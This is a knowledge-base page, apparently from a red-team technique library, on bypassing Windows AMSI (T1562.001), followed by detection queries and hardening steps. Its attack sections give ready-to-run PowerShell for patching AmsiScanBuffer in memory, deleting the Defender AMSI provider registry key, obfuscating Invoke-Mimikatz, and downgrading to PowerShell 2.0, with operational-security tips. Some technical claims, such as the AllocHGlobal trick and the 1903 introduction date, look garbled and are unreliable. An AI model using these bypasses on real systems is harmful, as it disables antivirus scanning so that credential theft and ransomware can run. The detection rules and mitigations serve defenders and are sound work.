| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-002 |
| MITRE ATT&CK v18.1 | T1562.001 - Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | CVE-2019-0604 (relates to AMSI context bypass in SharePoint) |
| Technique Status | ACTIVE (with caveats; many classic bypasses patched; evolution ongoing) |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows 10 (1903-latest), Windows 11 (all); Server 2016-2025; PowerShell 5.0+ |
| Patched In | Partial: Windows Defender implements AMSI deep scanning; Constrained Language Mode mitigates; Protected Event Logging raises detection bar |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Antimalware Scan Interface (AMSI) is a Windows component that integrates antivirus and EDR solutions into the PowerShell runtime, VBA macro engines, and JavaScript engines to scan scripts before execution. AMSI bypass techniques involve patching AMSI in-memory, hooking AMSI API functions, or forcing AMSI context errors to disable scanning without stopping the AV service. Unlike AV disabling (which is obvious), AMSI bypasses operate silently within running processes, making them stealthier and highly effective for executing malicious PowerShell scripts.
Attack Surface: AMSI.dll in PowerShell process memory, AmsiScanBuffer and AmsiScanString API functions, registry keys for AMSI providers, and PowerShell’s internal API hooks.
Business Impact: Malicious Script Execution Without Quarantine. AMSI bypass allows attackers to execute malicious PowerShell scripts (credential dumping, lateral movement, ransomware deployment) that would normally be blocked by Windows Defender or third-party AV. The attack is difficult to detect without behavioral analysis.
Technical Context: AMSI scanning occurs at runtime, before script execution. Bypassing AMSI means scripts can execute while Defender’s signature-based and heuristic scanning is circumvented. Dwell time is often extended because activity appears “normal” (no blocked process events).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.8.4.1, 18.8.4.2 | PowerShell execution policy and logging must be enforced; AMSI integration required. |
| DISA STIG | WN11-CC-000150, WN11-CC-000160 | Require script block logging and constrained language mode. |
| CISA SCuBA | SC.L1.2 | Enforce PowerShell script block logging and behavioral monitoring. |
| NIST 800-53 | SI-4 (Information System Monitoring), AC-3 (Access Control) | Detect unauthorized script execution; enforce least privilege. |
| GDPR | Art. 32, 33 | Security of processing; detection and response to breaches. |
| DORA | Art. 9, 18 | Protection and Prevention; Incident response mechanisms. |
| NIS2 | Art. 21, 22 | Detection capabilities; Risk management and response. |
| ISO 27001 | A.12.4.1, A.13.1.3 | Event logging and monitoring; Information security event management. |
| ISO 27005 | Risk Scenario | Compromise via malicious scripts; Detection failure. |
Supported Versions:
# Check if AMSI is available and loaded
[System.Reflection.Assembly]::LoadWithPartialName("System.Management.Automation") | Out-Null
$amsi = [System.Reflection.Assembly]::LoadWithPartialName("System.Management.Automation.AmsiUtils")
# Check AMSI provider registry keys
Get-ItemProperty -Path "HKLM:\Software\Microsoft\AMSI\Providers" | Select-Object *
# Check if PowerShell Script Block Logging is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" | Select-Object EnableScriptBlockLogging
# Check if Constrained Language Mode is enforced
$ExecutionContext.SessionState.LanguageMode
What to Look For:
{2781761E-28E0-4109-99FE-B9D127C57AFE} (Windows Defender), one AMSI provider is registered.1 = enabled; 0 or missing = disabled.Version Note: AMSI was introduced in Windows 10 (1903); earlier versions do not scan scripts via AMSI.
Supported Versions: Windows 10/11, Server 2016-2025; PowerShell 5.0+
Objective: Overwrite the AmsiScanBuffer function in memory to return AMSI_RESULT_CLEAN (0), bypassing all scans.
Command (PowerShell):
# Classic memory patching (legacy bypass, patched in newer Windows Defender)
$Win32 = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$AmsiScanBuffer = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
# Patch the first byte to return CLEAN (opcode 0xC3 = RET)
$Patch = [byte[]] @(0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AmsiScanBuffer, 1)
Expected Output:
(No output on success)
What This Means:
AmsiScanBuffer function is patched to immediately return without scanning.OpSec & Evasion:
Troubleshooting:
References:
Supported Versions: Windows 10/11, Server 2016-2025
Objective: Exploit a legitimate bug where setting amsiContext to null causes AMSI to fail gracefully, disabling scanning.
Command (PowerShell):
# Force amsiInitFailed flag by allocating invalid memory
$Ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($Ptr, [ref]$Ptr, $true)
# This triggers the amsiInitFailed flag internally
# PowerShell now skips AMSI scanning for this session
Expected Output:
(No output; AMSI is now disabled for this session)
What This Means:
OpSec & Evasion:
AllocHGlobal(9076) pattern.References:
Supported Versions: Windows 10/11, Server 2016-2025
Objective: Identify registered AMSI providers and remove them from registry.
Command (PowerShell):
# List AMSI providers
Get-ItemProperty -Path "HKLM:\Software\Microsoft\AMSI\Providers" | Get-Member -MemberType NoteProperty | Select-Object Name
# Output example:
# Name
# ----
# {2781761E-28E0-4109-99FE-B9D127C57AFE} (Windows Defender)
Expected Output:
Name
----
{2781761E-28E0-4109-99FE-B9D127C57AFE}
Objective: Delete the Windows Defender AMSI provider registration.
Command (PowerShell):
# Remove the AMSI provider key (requires admin)
Remove-Item -Path "HKLM:\Software\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Force -ErrorAction SilentlyContinue
Expected Output:
(No output on success; key deleted)
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Supported Versions: All PowerShell versions
Objective: Obfuscate script content to avoid AMSI string signatures.
Command (PowerShell - Example with Invoke-Mimikatz obfuscation):
# Original (BLOCKED by AMSI):
# Invoke-Mimikatz -Command "privilege::debug"
# Obfuscated (bypasses AMSI signatures):
$Command = "I" + "nvoke" + "-M" + "imikatz"
$Params = "-Com" + "mand"
$Arg = "`"privilege::debug`""
Invoke-Expression "$Command $Params $Arg"
Variant (Using Base64 encoding):
# Encode malicious command in Base64
$Command = "Invoke-Mimikatz -Command 'privilege::debug'"
$Encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Command))
# Execute (AMSI may not inspect Base64-decoded content)
powershell.exe -EncodedCommand $Encoded
Expected Output:
(Depends on the underlying command; if Mimikatz, outputs credential data)
What This Means:
OpSec & Evasion:
References:
Supported Versions: Windows 10 (pre-1903), Windows Server 2016-2019 (if PowerShell 2.0 present)
Objective: Execute scripts in PowerShell 2.0, which lacks AMSI integration.
Command:
powershell -Version 2.0 -Command "Invoke-Mimikatz -Command 'privilege::debug'"
Expected Output:
(PowerShell 2.0 executes without AMSI)
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Test ID: T1562.001 (AMSI-specific variants)
Supported Tests:
Invoke-AtomicTest T1562.001 -TestNumbers 5
Invoke-AtomicTest T1562.001 -TestNumbers 5 -Cleanup
Invoke-AtomicTest T1562.001 -TestNumbers 6
Invoke-AtomicTest T1562.001 -TestNumbers 3
Reference: Atomic Red Team Library - T1562.001
Version: 1.x Purpose: In-memory patching of AmsiScanBuffer API. GitHub: AmsiScanBufferBypass
Usage:
# Compile C# and execute
csc.exe /out:AmsiBypass.exe AmsiBypass.cs
AmsiBypass.exe
Version: Latest Purpose: Patching AMSI context to disable scanning. GitHub: NoAmci
Version: PowerSploit Purpose: Reverse shell bypass via obfuscated PowerShell. GitHub: PowerSploit
Rule Configuration:
KQL Query:
// Detect suspicious reflection patterns indicative of AMSI bypass
DeviceProcessEvents
| where ProcessName contains "powershell.exe"
| where ProcessCommandLine contains any (
"System.Reflection.Assembly",
"AmsiScanBuffer",
"AmsiUtils",
"Marshal.WriteInt32",
"VirtualProtect",
"LoadLibrary"
)
| project TimeGenerated, DeviceName, ProcessName, ProcessCommandLine, AccountName
What This Detects:
Manual Configuration Steps (Azure Portal):
AMSI Bypass Attempt - Memory PatchingHigh1 minute10 minutesRule Configuration:
KQL Query:
// Detect registry deletion of AMSI providers
DeviceRegistryEvents
| where RegistryKeyPath contains "HKLM\\Software\\Microsoft\\AMSI\\Providers"
| where ActionType == "RegistryKeyDeleted"
| project TimeGenerated, DeviceName, RegistryKeyPath, ActionType, AccountName
What This Detects:
Event ID: 4104 (PowerShell Script Block Execution)
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Configuration Steps (Registry):
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Event ID: 4657 (Registry Value Modified)
Minimum Sysmon Version: 11.0+
<Rule name="AMSI Bypass - Reflection" groupRelation="or">
<ProcessCreate onmatch="all">
<Image condition="contains">powershell.exe</Image>
<CommandLine condition="contains any">
System.Reflection.Assembly
AmsiScanBuffer
VirtualProtect
Marshal.WriteInt32
</CommandLine>
</ProcessCreate>
</Rule>
<Rule name="AMSI Provider Registry Deletion" groupRelation="or">
<RegistryEvent onmatch="all">
<TargetObject condition="contains">HKLM\Software\Microsoft\AMSI\Providers</TargetObject>
<EventType>DeleteValue</EventType>
</RegistryEvent>
</Rule>
<Rule name="Suspicious AMSI DLL Load" groupRelation="or">
<ImageLoad onmatch="all">
<ImageLoaded condition="endswith">amsi.dll</ImageLoaded>
<Image condition="contains">powershell.exe</Image>
</ImageLoad>
</Rule>
Manual Configuration:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xml
Alert Name: “Possible AMSI Bypass Attempt Detected”
Manual Configuration (Enable MDE):
1. Enable PowerShell Script Block Logging
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Validation:
# Verify script block logging is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
Expected Output:
EnableScriptBlockLogging : 1
2. Enable Constrained Language Mode
Manual Steps (Group Policy):
Manual Steps (PowerShell Profile):
# Edit profile (for current user)
# Path: $PROFILE (typically C:\Users\<user>\Documents\PowerShell\profile.ps1)
# Add:
if ([System.Environment]::UserInteractive) {
# Set Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
}
Validation:
$ExecutionContext.SessionState.LanguageMode
Expected Output:
ConstrainedLanguage
3. Enable Protected Event Logging (PEL)
Manual Steps (Group Policy):
Manual Steps (PowerShell - Generate Certificate):
# Generate self-signed cert for PEL
$cert = New-SelfSignedCertificate -DnsName $env:COMPUTERNAME -CertStoreLocation Cert:\LocalMachine\My
# Note certificate thumbprint
$cert.Thumbprint
# Configure PEL in GPO with this thumbprint
4. Deploy Endpoint Detection & Response (EDR)
Manual Steps (Enable MDE):
5. Implement Application Whitelisting / AppLocker
Manual Steps (AppLocker via GPO):
# Check Script Block Logging
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
# Check Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode
# Check Protected Event Logging status
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" | Select-Object EnableTranscripting
Expected Output (If Secure):
EnableScriptBlockLogging : 1
LanguageMode : ConstrainedLanguage
EnableTranscripting : 1
HKLM\Software\Microsoft\AMSI\Providers (missing entries)HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging (value 0 = disabled)$PROFILE directory); Event logs in C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtxDisable-NetAdapter -Name "Ethernet" -Confirm:$false
# Export PowerShell Operational log
wevtutil epl "Microsoft-Windows-PowerShell/Operational" C:\Evidence\PowerShell.evtx
# Capture memory dump
procdump64.exe -ma powershell.exe C:\Evidence\powershell.dmp
# Re-enable Script Block Logging
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Re-apply Constrained Language Mode
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-003] OAuth Consent Cloning | Attacker gains access via malicious app. |
| 2 | Execution | [EVADE-IMPAIR-002] | Attacker bypasses AMSI to execute malicious PowerShell. |
| 3 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Dump | AMSI-bypassed Mimikatz extracts credentials. |
| 4 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare | Attacker escalates to admin using leaked creds. |
| 5 | Persistence | [PERSIST-001] Golden SAML | Attacker maintains long-term access. |